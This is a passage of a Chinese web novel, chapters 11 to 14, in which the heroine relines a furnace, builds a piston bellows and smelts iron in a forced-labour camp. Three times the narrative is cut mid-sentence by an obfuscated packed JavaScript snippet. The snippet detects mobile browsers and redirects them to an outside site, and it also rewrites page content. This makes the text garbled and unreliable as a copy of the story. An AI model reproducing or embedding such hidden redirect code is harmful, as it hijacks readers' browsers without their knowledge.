小白点了点头，晨光落在他清俊的侧脸，好看得有些扎眼，苏冶微微愣了几分。 随即她在心里拍了拍自己的脸，怎的杨大哥愿意帮你就是义薄云天，小白帅哥点了点头你就发呆，不能让你的情感被皮相这么表面的东西左右…… 不过，对于小白，她总有些说不清的异样感。 苏冶来哑沟不过几日，俩人相识不久，照理说情谊还没那么深，可她总觉得，小白在有些事上对她有些隐隐的关照，即便他性子内敛，苏冶仍能觉察一些。 当然，苏冶想象力再丰富，也知道这不可能是因为男女之情，他俩之间的交集没有任何一个环节存在这样的情感产生的逻辑，即便有，也不可能在这么短的时间里成立。 算了，这些都不重要，眼下，如何将炉子搪好，烧出第一炉铁才是最要紧的，不能为了这些没头绪的小事分神。 11.夜探 晚间时分，苏冶正要阖眼，忽听的屋顶瓦梁处传来些动静，像是有什么东西在规律地敲击屋瓦。 “你听到什么声响了吗？”王喜道。 苏冶点头：“你在屋里待着，我出去瞧瞧。” 出了屋门，苏冶沿着屋子正门绕到了山墙处，一抬头，便被眼前的硕大黑影惊了一下。 待辨清那人的样貌后，苏冶惊诧道：“你怎么在此处？” 李三随手撩起衣袍，倾身蹲了下来，举止颇为闲散自在，比起白日少了些端着的仙师架子，倒是沾了几分人气。 “这话该是我问。” 苏冶四周环视一圈后，向前一步，低声道：“说来话长，总归是遭人哄骗，沦落到了此处。” “既如此。”李三利落起身，“随我走罢。” “你是来救我的？”苏冶有些意外。 李三微微颔首。 苏冶满腹疑云，李三怎么会知道哑沟的位置？唯一的可能性便是白日里他并未离去，反而一路尾随她和赵二一行人至此，但即便如此，进来的几条路口都有曹经的人，他又是怎么进来的？ 想到此处，苏冶挑了句最要紧的问： “你将路口守着的人都打晕了？” 李三看着苏冶，夜色中流动的光影打在他脸上，将他的神色映得暧昧难明，教人猜不透他心中所思。 忽的，一阵轻笑声传进苏冶的耳朵，声线清沉重带着几分悦耳。 “你笑什么？”苏冶问道。 李三脸上笑意还未散去，“笑你如此高估你夫君我的能耐。” 话音落下，李三敛了笑意，反倒是苏冶脸上浮起淡笑。 她向前凑近了一些，视线掠过了那些浮动的光斑，迎上最明亮的月色，将此时此刻的李三看得更清楚了些。 他面上不复白日污浊遮掩，好看得动人心魄。 苏冶忽想到，从她来到这个世界开始，但凡有第三个人在场，李三脸上永远抹着一片黑，似乎只有与她独处之时，李三才会露出自己的真容。 她望着他，月色太亮，反倒有些瞧不真切他的神色，苏冶不再打量，只笑道：“我觉着没有高估。” 赵二几人不是吃素的，他能一路跟到这里，还神不知鬼不觉跃上她的屋顶没有惊动任何人，这能耐可不小。 这地方说话多少不便，苏冶不再同他打趣，只道： “若你真有能耐来去自如，想必已经摸清了此地路数，莫要带我走，只自个儿出去，到县衙报官，便说此地拐卖人口充作黑工，教那县老爷带兵来剿。” 李三道：“我带你走，你去报官。” 苏冶摇头，“我若此时离开，会打草惊蛇，况且……” 况且她若走了，王喜他们必先遭殃，况且她身单力薄，即便到了县衙，要说动县太爷，必得不少交涉，少不了一番周折，其间难保不会惊动曹经，反倒拖累了哑沟众人。 昨日他们信她，愿意同她一起，今日她不能置他们于险境。 “况且什么？”李三追问。 “你一人进出方便，带着我未必能安然离开，若是被逮回来，免不了一顿毒打。”苏冶再次问道，“我只问一句，你可愿意替我报官。” 李三毫不犹豫摇头。 “我只带你一人走。” 言下之意，不愿帮她报官。 “好。”苏冶利落应声，语气中无半分怨责之意，“如今你我在此处已久，但怕打草惊蛇，你虽能进来，离开是且要小心，莫要落到那些人手里。” 说罢，苏冶便欲转身离去，但这次，李三却叫住了她。 “等等。” 她回过头，不知是不是苏冶的错觉，李三脸上罕见地掠过一丝犹豫。 半晌，他道：“你怨我吗？” 苏冶果断摇头，“离家那日，你说了却尘缘，此时却只身赴险到此处救我，我于你只有感激，这恩我记下，来日你若有难，我定不会袖手旁观。” 她说的确是心里话，且不说她同李三并无夫妻之情，即便是有，她也不会觉着他理所当然对自己好。 对苏冶来说，别人对她好，她真心感激，也会记着，但并不会因为这份好而希冀更多，若来日那人不再对自己好，这份感激也不会消失，她不会让这些好变成自己的习以为常，那人的理所当然。 李三一言不发，只看着苏冶，她神色坦荡，不掺半分虚假，便是在这晦暗夜色中，一双眸子依旧清亮照人。 忽然，他微微垂头，敛起心绪。 “既如此，你保重。” 言讫，李三转身一跃，轻飘飘落下了屋顶，竟未发出一丝声响。 待苏冶绕过山墙来寻人时，早已已不见了踪迹。 这人莫不是真会轻功，又想到白日里他看出赵二命格种种，苏冶不禁在心里叹道，这老祖宗留下的技艺还是老祖宗修得好，在现代社会，她哪见过综合素质这般超群的神棍。 —— 翌日清晨，天尚没亮，便有人来敲了她的屋门。 王喜被这声音吵醒，正要起身去开门，被苏冶摁住，“你继续睡，来找我的。” 听她这么说，王喜也清醒了过来。 “莫不是……？” 苏冶点头，眼睛还没能完全睁开，只迷糊道：“带我去干活的。” 说着，她下了床，前去开门，只见屋门口站着赵二。 “等我洗把脸。”说着，苏冶转身进了屋子。 “利落些，赵大娘也快起了。”赵二催促道。 敢情你赵大娘还没起，这般着急以为你赵大娘已经候着了。 不过也正常，自古以来，只有太监侯着皇帝，伙计侯东家，哪有皇帝等太监，上司迎下属的。 —— 跟着赵二来到河边，苏冶瞧见那两座高炉四周堆积了不少东西，是昨日采买的搪炉材料送了过来。 月亮还隐约挂在天边，她困得打盹，索性一把撩起衣脚，盘腿坐在了地上。 “人到了叫我，我先眯一会儿。” 睡眠不足简直致命。 “你……老子不也是大早上醒来，你矫情个甚。” 苏冶没好气道，“你待会儿不回去补觉？” “……”这倒是。 他是轮值，苏冶是在此处压榨一天，怎的比起了惨。 过了一会儿，意识朦胧中有人轻拍她的肩，苏冶睁眼看去，竟是钟师傅一派和蔼的脸，他身后还站着赵大娘，和钟师傅截然相反的表情风格。 好典的白脸搭红脸，苏冶想。 “你要的东西如今都在此处了，说说罢，怎么做？”赵玉芬双手叉腰道。 苏冶以手撑地，站起身来。 “交给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192603|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便行。” “你一人？”赵玉芬诧异道，“昨日不是说有人同你一起？” 苏冶：“今日只是搪炉，我一人足矣。” 搪炉讲究些手艺，他们来了未必能帮上忙。 赵玉芬带着些怀疑审视着她，显然有些不太放心。 这倒也正常，毕竟这些料子都是花了银子的，苏冶年纪轻轻，仅凭借一些唬人的理论自是难让赵玉芬信服，想要让赵玉芬将这些事情放心交给自己，她得真正做出东西来。 想着，苏冶说道： “那便让钟师傅留下来同我一起，他多少晓得些搪炉的门道，在一旁盯着，总出不了大错。” 赵玉芬闻言看向一旁的钟师傅，只见他点头，思索再三后，赵玉芬还是道： “此处便交给你了，照你先前说的，两日，若这炉子还是烧不起来，便有你好果子吃。” 说罢，赵玉芬转过身，带着赵二一同离开了这里。 诺大的炼铁场子只剩下了她和钟师傅二人。 苏冶没想着和钟师傅寒暄几句，卷起裤脚，拖起装青砖的麻袋，径直往夯实炉基的火砖卵石处走去。 麻袋打开后，钟师傅看到里面的青砖，问道： “这青砖是？” 苏冶道：“搪炉之前先砌一层。” 她检查过这炉子，炉壁没有贴青砖，这里用的高炉整体制法大概还处在比较落后的阶段。 “加了这层，里头的火哪怕再旺些，炉子也不容易出事。”苏冶对钟师傅说道。 那日炉子爆炸便是因为炉内热量不均，炉璧没能受住炉内的压力，青砖的耐冷耐热性强，若是炉内温度骤变，能缓解对炉壁的冲击如今砌上一层，安全系数可以提高不少。 而且在平日里，这炉子搪得差劲，炉内长期接触熔渣和高温金属，铺上一层青砖也可以减少些炉壁受到的化学侵蚀和高温氧化。 “先热炉子吧。”说着，苏冶已经朝木炭处走去。 无论是搪炉还是铺青砖，都要先烤烘，让炉内温度保持到六十到七十摄氏度。 这里没有测量的专业工具，但苏冶前世考古研究的时候做过不少模型重建和实验，在这方面有经验，这样的炉型体积可以根据时间来把握，况且现在钟师傅还在这里。 炉火起得小，苏冶在这间隙开始整理第一道泥料——白鳝泥和一成的胆水混合成的泥浆，同时架好了二次搪炉需要的支架。 二次搪炉不比第一次，第一次是在建炉时进行，用木头箍紧后排间，在用含砂的黏土填入打结后便可以进行。 但如今炉子已成型，需要较高的支架来辅助。 “小心些。” 钟师傅看着苏冶站得高，用手在下面帮她扶着。 “放心吧。”苏冶笑道。 说实话，钟师傅的态度让她挺意外，从开始到现在，他并没有用自己的经验对她指手画脚，只是偶尔叮嘱两句，倒真像是她对赵大娘说的，只是“盯着”，没有动手也没有动嘴。 他这般相信自己，她倒是没想到。 其实苏冶不知道，钟师傅心里多少是有些担忧的，但经了昨日的事情，加之苏冶今日想得到用青砖，都让他放心了些，她既瞧着是个有主意的，自己也没必要多嘴。 就这样，钟师傅偶尔搭把手，苏冶前后忙活，整个过程推进得还算顺利。 12.小白 两日后的酉时，赵玉芬踱步到河边时，苏冶盘腿坐在一团黑黢黢的渣滓上面，手里攥着块纸包的馍，正狼吞虎咽。 一旁钟师傅手执一把把蒲扇，一个劲儿地扇。 赵玉芬蹙眉打量苏冶，身上衣裳早已脏得不辨原色，四周也是狼藉一片，问道：“这是成了？” 苏冶嘴里塞得满，边吃边点头，“我再烘一下……明儿早炉壁里的泥便能干透。” 赵玉芬听着她囫囵不清的说话声，忍不住道：“你就不能咽下去再说话。” 苏冶勉力咽下了一口，“我今儿一天就吃了这么一顿，饿” 赵玉芬挑眉，“伙房没给你送饭。” 苏冶：“您催得紧，两日搪不好要给我好果子，为着不吃果子，我只能先少啃几个馍。” 赵玉芬有些没忍住，强行憋回笑意后，板起脸道：“想不到你还是个贫嘴的，仔细着现在就给你好果子吃。” 苏冶面色不改色，继续啃手里的馍，“我现在不想吃果子，倒是这馍实在干噎，您也忒小气，就不能沾点荤腥肉沫子。” 赵玉芬正欲怼回去，视线却蓦地被高炉旁两只木箱吸引了过去。 “这是甚？”赵玉芬指着原本安装橐囊的位置问道。 苏冶咽下了最后一口吃食，拍拍手站起身，走到炉边。 “这是木风箱。” 赵玉芬面露诧异：“鼓风的？” 苏冶点头。 赵玉芬：“怎不是风囊？” 苏冶：“原本的橐囊不便，这是我新做的，明日用起来您便知晓了，这个好。” 来的那日，瞧见这高炉用的还是皮风囊，苏冶就在心里摇头，这炉子的规模虽比不上她前世考古见过官营铁厂的，可也不算小，怎的用的还是这个“小气球”。 这种橐囊虽然漏风又易破，但是它还费力啊。 可怜那些工人人搁那儿一个劲儿地压，一年到头，风没吹进去多少，肌肉秀美的举重冠军倒是培养了不少。 说着，钟师傅走到了俩人身边，端详片刻后说道 “这木风箱我早些年倒是曾见过，只是不晓得做法，不料得苏丫头竟能捣鼓了出来。” 赵玉芬道：“别忙着得意，造出来是一回事，顶不顶用还另说，待这炉子出了铁再夸口不迟。” 嘴上虽这样说，她凑近细看时，心中仍不禁暗探。 远处看去，不过是个长方形的木风箱，可凑近一看，这东西构造简单却造得巧妙，木板拼成，箱内似还有个活塞状的东西，露着拉手在箱外，下部装着一个通风管，管子的侧面还有个吹风口。 看着这东西的构造，赵玉芬隐隐有些能琢磨来这东西的原理，大抵是用活塞活门的前后拉动控着炉子里的风，一眼望去便知道比原先的橐囊省力。 想着，赵玉芬收回目光，对苏冶道：“今日回去洗洗干净，明日若还这幅样子，瞧着晦气。” 说罢，她转身离开，顺便带走了钟师傅，只留苏冶一人在河边。 将火架上后，她找了一处稍干净些地方，直挺挺躺了下去。 此刻夜风习习，只有她一人，她觉着格外舒爽，累了两日，此时不免有些睡意。 意识恍惚间，眼前光线暗下了几分，交错变化，似不太平稳。 苏冶尚未深睡，自然知晓不是天黑了，警觉地睁了眼，只见一只手正在她面前轻晃。 见她睁眼，那人停了下来。 抬眼看去，来人竟是小白。 “你怎么来了？”苏冶撑身坐起。 小白不语，却径自走到她身侧，拂衣坐下。 苏冶内心浮上一个问号。 夜色将近，小溪流水，孤男寡女，这是要和她望月谈心？ 虽说和帅哥谈心聊天也并不是什么坏事，但苏冶如今一身污浊，周遭也是一片杂乱，似是没这个风花雪月的氛围。 想着，她出声提醒：“地上脏。” 小白：“没事。” 说着，他不知从哪里掏出一个油纸袋子，递给她。 苏冶心下诧异，还是顺手接过，打开后，眼睛一下亮了起来。 里面赫然是三个肉包子，个头还都不小。 肉馅儿的香气顺着纸袋飘出来，苏冶觉得有几分眩晕……幸福的眩晕感。 她前世便是个肉食动物，无肉不欢，每顿饭都得有肉，但自从来了这里，半点荤腥沾不上，虽没有秤，她有事摸摸自己的脸，觉着肯定消瘦了不少，不免有些心疼。 “给我的？”苏冶惊喜道。 小白点了点头。 苏冶不再多问，从袋里挤出一个包子便大口吃了起来。 这次她不像那会儿见赵大娘时一样，边吃边说，事实证明，只要食物够美味，话痨也可以偃旗息鼓一会儿。 一口气吃完一个，她才心满意足地问：“你哪来的包子？” 说着，她将手里的纸袋递给小白，小白没接。 “托人买的，院里人都吃过了，这些是留给你的。” 苏冶眨眨眼，“你也吃了？” 小白：“我不喜食肉。” 他这么说，苏冶多少相信，他周身气质就透着一股子不是荤腥的气息。 苏冶收回手，“那我就不客气了。” 说着，开始吃第二个包子，边吃边问道：“你被关在这里，怎么托人买。” 小白：“村口守路的。” 苏冶讶然，难不成这地方也有了这样的内部运行机制。 “你给他什么？” 小白：“银子。” 苏冶：“哑沟没有工钱，你怎会有银子。” 当初进来时，曹经可是将她们身上值钱的东西都都搜刮了个干净。 不想小白说道：“我带了进来。” “……” 苏冶一怔，脑子里顿时闪过一些不合时宜的联想，脸色变了变。 小白觉察她神色有些怪异，便问道：“怎么了？” 她嘴角挤出一个尴尬的笑，“没什么，进来前不是都要搜身吗，你是怎么带进来的？” 小白摇了摇头，“那日原要搜我的身，曹经不知遇了什么事情，匆忙离开，只着押送我的人将我带到了这里，那人不知道，大抵以为搜过了。” 原来如此，苏冶在心里咒骂自己丰富且不正经的想象力后，转而正色道： “话说，那些人知道了你身上有钱，岂不惦记？” 他们手无寸铁，那些人却是手里有棍腰上有剑，怎么会同你讲究礼数那一套。 小白解释道：“银钱我并未随身，藏得隐蔽，他们寻不着，只得由我取出。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197379|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 原是这样，苏冶点了点头，也是个好办法。 “财不外露，还是得小心些。” 小白轻声应下。 说完这茬，两人之间陷入了一阵短暂的沉默。 苏冶专心吃着包子，小白静坐一旁，也不再说话。 清风擦过，带起小白几片衣角，上面已沾了不少污渍，苏冶瞧见后，说道：“这东西沾上不好洗，我有法子，你到时候可以给我。” 前世做实验的时候，苏冶也经常是弄得满身污浊，她精通化学，对去污颇有心得。 第二个包子吃完，她无意侧首，却瞧见小白耳朵不知怎的，红了一片。 “你很热吗？” 苏冶寻思着这会儿不似日中，怕也没有那么热，况且这会儿还吹着风。 小白愣了下，而后缓缓点头。 “还行吧，你怎的脸都热红了。” 她伸手接过一旁钟师傅留下的蒲扇，递了过去。 “扇扇吧。” 小白接过扇子，摇了起来。 苏冶看着，忍不住感叹：“这里的条件还是艰苦了些，没空调啊。” “空调？”小白不解。 苏冶累得有些大脑不清，口不择言，她倒也觉得没什么，信口胡诌道： “是我听过的一种宝物，钻在里面，便不会觉着热了。” 小白道：“怎么钻。” 苏冶指了下自己的脑袋，“用头钻。” 小白没忍住，笑了，苏冶也跟着他一起笑。 “哄你的，是我自己编的。” 小白：“我知道。” 你知道？你怎么会知道？若有电力和现代科技，空调当然是宝物，苏冶心里这么想，却什么都没说。 开始吃第三个包子的时候，她听到小白问： “你从何处学的这些东西？” 他指的自然是搪炉炼铁的手艺。 苏冶按照自己编好的说辞道：“我爹原是官窑里烧铁的，我自幼跟在他身后，耳濡目染学了不少东西。” 不想小白继续追问：“后来呢。” 问题不大，后来的版本她也编好了。 “后来战事起，我爹充了军，我娘带着我一路南逃，路上受了骗，落到了人牙子手里，将我卖到了小曹村，我原有个丈夫，也是做苦力的，谁曾想他不幸丢了性命，没过多久，我就被曹经骗到了这里。” 小白听她道出如此“坎坷”的过去，面色渐沉。 苏冶见他这样，心里顿时生出几分愧疚，小白想必是个有同理心的，她编得兴许太过，于是笑着说道： “无妨，如今我不仅年轻，还活得好好的，万事都有盼头。” “嗯。”小白低声应道，神色却仍未缓和。 苏冶转开了话题，“你呢，还不曾听你说过过去之事？” 小白闻言，蓦地沉默了下来。 苏冶正想着岔开话头，却听小白道： “我爹娘都不在世了。” 苏冶一怔，侧首望他。 天色已黯淡了不少，他的神情隐匿在夜色里，瞧不太真切，只是声调里带着苍凉。 多年后，苏冶想到此夜，她骗他死了丈夫，他骗她死了爹。 大抵从那时起，两人便已经披着坦荡的皮对彼此说着假话。 13.起炉 翌日，鸡鸣声响时，苏冶已静立在炉前，身后还站着王喜、小白、来人聪、杨千四人。 清晨还未弥漫午时的燥热，空气尚有几分凉意。 随着雾气缓缓散去，身侧水流声响，远山青翠渐敞， 高炉经昨一夜已上了新泥，空气中浮着铁锈混合着胆水的味道。 赵玉芬和钟师傅今日都未现身，似是有意要试探苏冶的能耐，只着人将她先前说好的矿石和燃料送了过来，此时堆叠在炉旁。 “就咱几个，当真能从这炉子里捣鼓出铁。” 来人聪晃悠着上前，屈指扣了扣炉壁，带起几下沉闷的回响。 苏冶朝矿石堆的方向走去，“照我说的做就行。” 王喜紧随其后，同苏冶一起蹲到了矿石堆前，“说吧，怎么来。” 身侧的光线被挡住，苏冶扭过头，小白三人也都围拢了上来。 苏冶随手拈起一块指甲盖大小的矿料颗粒，拿在眼前打量。 “这东西太杂，得处理处理才能进炉子。” 她将手里的碎渣扔进矿料堆，不禁在心里感叹，哑沟这一套炼铁的流程，步步是坑，处处埋命。 昨日搪炉时，发觉一坑，今日见了这矿料，又是另一道坑。 不晓得这矿料是自采还是外购，总之加工得一塌糊涂。 刚刚拿起的那块指尖儿都能接得住，再捡起一块，竟快比得上她半个拳头大小，真把矿料当煤块使。 粒度整不整齐同炼铁的效率和安全性干系不小，矿料的破碎和筛分是原料处理的一个重要环节。若是粒度足够整齐，便能减少煤气上升的阻力，炉气便能更好利用，还能省燃料。 粒度整齐的好处未必显眼，坏处可是要命，要是颗粒大小差异太大，炉中温度分布不匀称，便易将炉腔堵住，使炉子里温度骤冷，届时熔体凝固结在地下，便容易造成事故，就像那日一样。 当日从爆炸处捡来的炼渣大都颜色发黑，显然熔化不充分，估摸着一开始矿料加工环节就有些问题。 手里摩挲料渣的时候，她突然想到，那日在赵玉芬处，她同钟师傅对峙时，钟师傅只说了搪炉的问题，却只字未提炉料不均的事情。 就是搪炉的问题，也是由她点破，钟师傅不过是点了头附议。 这便有些蹊跷，看钟师傅年岁，从事炼铁的行当应该也有些年头，没有理论也有经验，怎的在此处做了许久，任由这样的矿料送进炉子里。 “想什么呢，等您示下呢。” 来人聪的声音打断了她的思绪，她敛了神，且先将此事搁置，眼下还有更重要的事情。 她站起身，环视一圈后，目光落在不远处摆放工具的木架处，看清上面有她想要的东西后，走了过去。 “来搭把手。”苏冶朝来人聪几人喊道。 她将两把铁锤递给王喜，“抡得动吗？” 王喜利落接过，“这才多少斤两，再举十个也行。” 苏冶笑了笑，手里亦是抡起两把铁锤。 “你们先将这几个都抬过来，等下我过来搭手。” 她指着最底层的铁砧和铁夯对来人聪三人道。 “没事儿，这点东西我兄弟几个就搬过去了，你和王妹子忙活那边儿就行。” “辛苦杨大哥了。”苏冶道。 “我呢……”来人聪抬着半边铁砧，龇牙咧嘴，一身骨头架子都似要被压折下去。 “你也辛苦，可攒点力气，别厥过去。”苏冶打趣道。 来人聪并没有被苏冶的话激到，依旧耷拉着胳膊，力气明显都施在小白那边。 不过小白手上倒是动作稳，一言不发，只顾着干活。 待工具齐备，苏冶俯身拢起一堆矿料，向众人道说： “咱得先把这些矿料处理了，大的砸匀，小的拣出，同这些一样。” 苏冶捧起那把粒度相仿的矿石在他们面前晃了一圈。 话音刚落下，王喜已经拿起铁锤，开始矿料的“爆破”工程，杨千几人也先后加入了队伍…… 铁锤和铁砧相撞的声音不规则的断续传来，天色也随着阵阵声响趋于明亮。 “唉，你说咱要是没被诓进这鬼地方，你若有真能耐，咱出去自个儿干，不比给姓曹的打黑工来得出息。” 来人聪手里忙活，嘴上也没一刻停下。 “炉子还没起火，你倒梦起出去的事了。”王喜道。 苏冶在一旁埋头挥锤，没有吱声儿，心里某跟弦却轻轻一颤。 来人聪这话说得缥缈，若是出去，本钱何来？炉子何处？矿料谁供？，何况如今豫州官府管着大头，虽未禁绝民间，销路终究也是个问题。” 他们替曹经做苦力，勉强糊一口饭吃，即便从那炉子里炼出金子，也落不到自己囊中。 今日是第一日，为着几分新鲜，众人尚存几分干劲，但总有一日，日久天长，这一套流程会烂熟在他们手里，到时候只剩下机械重复的疲乏，一眼望去，他们的以后只有一片晦暗。 苏冶不怕辛苦，但绝不愿意当一辈子牛马，还是没有工资的那种。 她在心里谋划过出去的路子，却没有想过以后，来人聪的话倒是点醒了她几分。 如今他们手里有铁锤，脚下有铁砧，他们没有的一切，这里都有。 塞翁失马，焉知非福。 哑沟这趟，与她而言，是劫难，但也有可能是转机。 —— 一个时辰后。 “哎呦喂累死爷爷我了……” 来人聪最后一个丢了锤子，哐当一声，他直直向后倒去，也不管地上脏，四仰八叉躺了下去。 苏冶捻起他面前的碎矿渣，细细瞧了瞧，倒是有些意外。 这家伙看着有些不靠谱，不曾想挑出来的矿料粒度竟是比他们四人都要齐整，基本都是在她先前定好的二至五厘米的范围里。 “辛苦，你先歇一会儿，我去起火。” 听着苏冶对他的语气破天荒的有几分柔和，来人聪猛地从地上弹了起来。 “我也跟着学学吧。” 苏冶不晓得他怎的来了干劲儿，但总比没有好，便道： “行，来吧。” 她走上前，拾起一捆干草，同些木炭灰一齐铺到的炉缸底部，紧接着又断续上了些秸秆枝。 检查好连接鼓风箱的管道后，苏冶用火折子点燃了火把，送到了干草堆里。 “现下只是起炉，风力不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205897|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必太猛。” 苏冶走到木质的风箱旁，看向小白，“这个得由你来。” “这同那日见到的不大一样。”小白道。 苏冶点了点头，“这是我新做的，不仅省力，风力也能大上许多。” 她指向露在箱外的拉手，“这个叫韛。” “同我的间隔一样，来回推拉便可。” 苏冶简单做了示范，小白很快便上手了。 有了风力鼓动，炉内的火烧得更旺了些。 “这鼓风的瞧着确是比那日见得省力些许多。”杨千看着新制的木风箱说道。 那是自然，这种活塞原理的风箱比这炉子往常用的皮质橐囊要进步许多，通风管的吹风口装有一个活门，当韛向前推时，空气推压让活门向后关闭，空气便从吹风口出来，若是向后推，则刚刚相反，由此形成了风力的交替。 但他们不知道，这并不是苏冶的主意，而是前人的智慧。 在她前世的时空，明崇祯年间时，这种风箱已经有了范围不小的应用，不知当下其他地方的鼓风技术推广到了何种地步。 唯一可以知道的是，哑沟在各方面是大幅度落后于外界的。 在小曹村的时候，她曾不止一次去过县里做些调查，拿同她有过小生意交集的朱记铁器铺子来说，她只看一眼成品，便知那是二步操作法炼出来的熟铁，得先用铁矿石炼得生铁，再将生铁炒炼成熟铁。 但据她那日的观察，哑沟用的仍是块炼法，用铁矿石和矿砂直接炼的熟铁，属于一步操作法，炼得的熟铁要次上许多。 当然，块炼铁也并非没有好处，它含碳量低，故而性能柔软，在锻造器物方面还是有些优势的。 炉子里的火势稳定后，苏冶开始添些细些的木柴，之前的干草和秸秆枝只起引火的作用，要让热量更大更持久，还是得用木柴。 待火势稳定些后，苏冶道： “这风箱我们轮着来，炉温我盯着，到了时候便能加料。” 说着，她走到小白身边。 “我来吧，那会儿挑拣矿渣你们也忙活了一会儿，先去找些水喝。 小白手下未停，只道：“半个时辰后吧，你们先去歇息会儿。” 杨千见状也开口道：“你刚既已叮嘱过，便和王妹子先去歇息，这里我们兄弟几个看着就行。” 来人聪也跟着应和道：“你只管出主意就行，这干活都是我们男人做的事情，你们女人又没几两气力。” 苏冶没有反驳，来人聪的话听着有些大男子主义，实则苏冶是有几分认同的，术业有专攻，她没必要以己之短搏彼之长，发挥她的优势便可。 但她得盯着火候，不能离开，便对王喜道：“你先回去歇息会儿，晚些再来，顺便帮大伙儿打些水。” 苏冶这么说，王喜也没有推辞，收起几人落在地上的水袋便离去。 此刻晨间的凉意已全然散去，午时的燥热微微有了前兆，炉中木柴燃烧嘶嘶声逐渐剧烈起来，苏冶站在高炉前，隐约有些恍惚，仿佛回到了前世，阴冷的地窖里，也是这样大小的高炉。 但此刻的炉子是热的，有温度的，上面没有覆盖陈旧的灰尘，此刻她真正处在它的时代，同它一起呼吸。 14.谎话 赵玉芬和钟师傅到河边时，已经是第三日早上。 彼时炉旁只苏冶一人，她盘膝而坐，手里摇着蒲扇，目光怔怔盯着炉子，似在出神。 “这是熄了火？” 赵玉芬看着没了动静的炉子，出声问道。 苏冶眼也未抬，只轻声道：“再等两个时辰便可。” 矿料已经烧干净，现今是冷却的时候。 赵玉芬四下一望，又问：“怎的只你一人？” 正说着，身后传来一阵吆喝。 “赵大娘来了。” 回头一看，正是来人聪同小白几人正朝着这边走。 苏冶一眼瞥见他们，不管三七二十一，眼睛一闭，便要向后倒去，王喜见状连忙搀住她，“地上渗。” 又示意来人聪将手里的席子铺到地上，将苏冶缓缓放了下去，苏冶全程闭着眼，活像个需要人伺候的植物人。 赵玉芬见状奇怪道：“这是患了什么恶疾？” 王喜抬头道：“累的，不知道多久没阖过眼了。” 苏冶向来是个把睡觉看的比天还大的，这几日却为了这一炉铁，没日没夜地盯着，期间先后催促他们回去歇息，自己却几乎没阖过眼。 待如今炉子熄了火，才叮嘱了他们接替看守的时辰，自个儿倒了过去。 “瞧把这丫头累的，快抬回去睡上一觉，你们也都不必守在这处，余下我盯着便是。”钟师傅道。 “不妨事，苏妹子叮嘱过，这儿须得我们亲自看守，您也不必陪在这儿受累，连个下脚的地方都没有。”王喜说着，转向来人聪和小白，“你们将她抬回去，仔细别着了凉。” 小白颔首，同来人聪走到席子边，怕苏冶掉下来，便将两侧拢起，两人各纸席子一侧，朝住处走去。 “瞧着没几两肉，怎的都是实心的。”边走边说。 闻言苏冶猛地睁开眼睛，来人聪反应不及，只觉屁股上挨了一脚，回眼看去时，苏冶早已闭上了眼，瞧着没一点动静。 来人聪顿时噤声，再不敢多言。 —— 另一头，赵玉芬离了河边后，径去了了平日里待的账房，钟师傅也随之一同。 两个时辰后，整整齐齐一排铁块码在了赵玉芬案上。 她拈起一块，磕在桌面上敲了敲，随后丢给钟师傅。 “您瞧，可能成？” 钟师傅接住铁块，拿在手里反复端详片刻后，说道：“何止能成，品相怕是比以往还要好些。” 赵玉芬闻言一笑，“这么说，您老可能歇歇，以后净让那丫头替您，本只让她搪搪炉子，试着起一炉，不想比咱想的还有些能耐。” 钟师傅捋须点头：“这般最好，她年纪轻，也不怕身子骨撑不住，不过……”他语带迟疑。 赵玉芬见他有几分踌躇，追问道：“不过什么？” 钟师傅近前一步，“这丫头不似我，终归是被你们诓到了此处，哑沟里银子流动再多，流不到她的口袋。” 赵玉芬知晓他言下之意，没有好处，任谁也不会心甘情愿卖命。 她凝神半晌，目光再次落向那些铁块，“方才您说这铁的品相好，是替她说好话，还是实话。” 钟师傅笑道：“你也同这些东西打交道有些年头，难道辨不出我话真假？” 默然良久，赵玉芬终是道：“晓得了，您先去吧。” 钟师傅颔首，“你既有主意，我也不再多言，” 说罢转身离去，只留赵玉芬在屋里，若有所思盯着那些铁块。 良久后，她朝门口道： “去给曹先生传个信儿。” —— 这头，苏冶不知道睡了多久，只知自己醒来时天光仍亮。 睡意还未全然散尽，饿意却先涌了上来。 “我是几日没吃饭了，怎饿得慌？” 话音刚落，王喜举着大肉包子的手便伸了过来。 苏冶瞳孔放大，“怎的又有包子？” “小白送的。”王喜替她吹了吹，“你也是醒得巧，刚送来的，还热乎呢，快些吃吧。” 苏冶接过包子大口吞咽，“改日得叮嘱他些，有点体己钱也不能这么霍霍。” 王喜看她吃得急，倒了些水递过去，“你倒是慢些，别噎着。” 忽得，苏冶想到了什么，加快速度咽下了最后一口。 “铁块出了吗？” 王喜：“放心，都照你说的，东西一出炉便给赵大娘送过去了。” 苏冶点头，“那便好。” 